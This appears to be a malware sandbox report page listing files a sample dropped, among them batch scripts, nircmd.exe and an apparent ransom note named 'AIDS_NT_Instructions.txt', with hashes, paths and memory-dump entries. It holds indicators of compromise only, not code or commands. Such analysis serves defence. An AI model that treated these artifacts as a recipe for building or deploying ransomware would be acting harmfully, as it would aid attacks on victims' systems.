SSDEEP 384:UqUubiZs/l//f1aQd4Y3Ff5c0VLspDxh0kwYFuRT8aNJawcudoD7UL:Uq7iZ+B/f1/d4wyGLZVRRnbcuyD7U
TLSH
T199C2D0D7F1581F1AC24CD07B2FAE7A455714353EEAD08B64B9A920B7DE05B102E186A2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

PkgMgr.00

Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\PkgMgr.00
Size 28KB
SHA256 e621092e9b620bc589a4dd89d791352d266b139ceb9b3f13ddded5b536b52441
MD5 067ab27355743f95929213e08bc60ebb
SHA1 376436cef2b119a75cf29500e3efb37061b0fa16
SHA512 97add0ebcee845d1c47eef6f91d990fccc025509c748e8d612716ac2342144578f4e29247f4824aeefaf5ee143b31837fb5eb487726855ed43a42ccd14431ba0
SSDEEP 768:RaTEB+8LW3XMQMCx6e2UQcWYyZXuAXtKp+F/oL3n:F/e
TLSH
T148D21400ECE68623C1E5BB9022056517D7F763DBB12653C5BADC260C474FE8F85BA1EA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

PkgMgr.bat

Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\PkgMgr.bat
Size 28KB
SHA256 03dfd466366ffbe32e9e487cdc2136c62b4b4f57c365e255ef8e0c36991fb8b0
MD5 fed4789f3fbd52e720ae7234600d5652
SHA1 273db24c6044f936359bdd272eb14c0fb2f6e117
SHA512 ff2dc7069ea16bea767b1f9f6efa60b15cef3573a8de5e92d4766646e030f3db89fb4789cf51526b7d10d6d03b1348748d1f7c1162f7382e943261102f6d0435
SSDEEP 768:RaTEB+8LW3XMQMCx6e2UQcWYyZXuAXtKp+jjoL3n:jje
TLSH
T1C9D21500ECE68623C1E5BB9022056517D7F763DBB12653C5BADC260C474FE8F85BA1EA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cew.00

Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\cew.00
Size 344KB
SHA256 1479da32b193676068062236730ce9a5dbcae727ec0eea63b18252f9cb744707
MD5 9311b831777f14f7c81af8cb67259a3b
SHA1 8178284b89f5429f4ab6143a652944da563124c2
SHA512 86d334db1eca671d2af34786337316a6570236ad12c23fa3f84884776d550abcc6403100e17b23b97c761e97dedd8b8b135c4d49332623894c5f57a5e6eb1fc4
SSDEEP 6144:Xksddr66EUu8L0cOmnF7Ohh3/Cm9kwXUrJ+0BAsWJUt9AtJxEPIE+dua:XFsA0cO4KfRErkYzWaMSDna
TLSH
T13B7423423D5BD4239852ECB7CA7B48A427435B858D6B53220239069EDB63C2EBD1FF1D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nircmd.exe

Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\nircmd.exe
Size 44KB
SHA256 b994ae5cbfb5ad308656e9a8bf7a4a866fdeb9e23699f89f048d7f92e6bb8577
MD5 a1cd6a64e8f8ad5d4b6c07dc4113c7ec
SHA1 60e2f48a51c061bba72a08f34be781354f87aa49
SHA512 87a42901a63793653d49f1c6d410a429cabb470b4c340c4553cbd9eccacb38d8543f85455465e0a432d737e950c590175dad744094861f7c3e575446a65b41e8
SSDEEP 768:UDR7drWxRrYJAgERvFAREX5DyzaccyOkVDIBF9K/phcanwUaajMIWCW2jsV:2A3cJAgmSRC5DcLxIBLGwUgIW2sV
TLSH
T13B23F204CA38913DF9CEA8F271A06D1983685CFECFB157EB551B4B95BFF4A054A12123
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

start.bat

Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\start.bat
Size 1KB
SHA256 2f4637dd7a3125bf60d5651cc851c8ef9cf7c461dd89eed404dd9f5a381844e4
MD5 9492f33971cfd6b77484342e42097731
SHA1 6cce167289894928d4bc6da2e263a354cbe2b174
SHA512 c685295c91f2765ec3e3ab72fa7c124335d4d570df418427b11c7cd96e3cad5ad8563bc114052de0ecc9d909f671f72663c72015f5415f44c67d24ca21462dcc
TLSH
T18D11EB699837C6868482AD40C2B7FC4BCBACB8B3E0F01B0205E374E5E4C6D0902335F9
MD5 SHA1 SHA512 TLSH

Submit Download

AIDS_NT_Instructions.txt

Path C:\Windows\AIDS_NT_Instructions.txt
Size 2KB
SHA256 8b2d86fe88a75c0e0c312fdc7d1f54d113d33af729d2be52622f2b538a7a7049
MD5 0f92fcbacb68fb014cfa248c31448e6b
SHA1 64d5dea54df6a03490849d04a174a7e8d690ebb4
SHA512 10f8f0fa7fdaede1b369e35e9bb0cf44ef7de02d4c7c3d644b5c2e80b405f9927acd167c996957e18f0a38fe41be4afdfd420bbe8a539332a93238565576236b
TLSH
T119415B2C5E9F61EB0305E19BC90CBD09EA9B45FEEE6A069638443F3A34F5118C27D64D
MD5 SHA1 SHA512 TLSH

Submit Download

memory/5672-54-0x0000000000400000-0x000000000041C000-memory.dmp

Download

memory/5672-56-0x0000000000400000-0x000000000041C000-memory.dmp

Download

Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads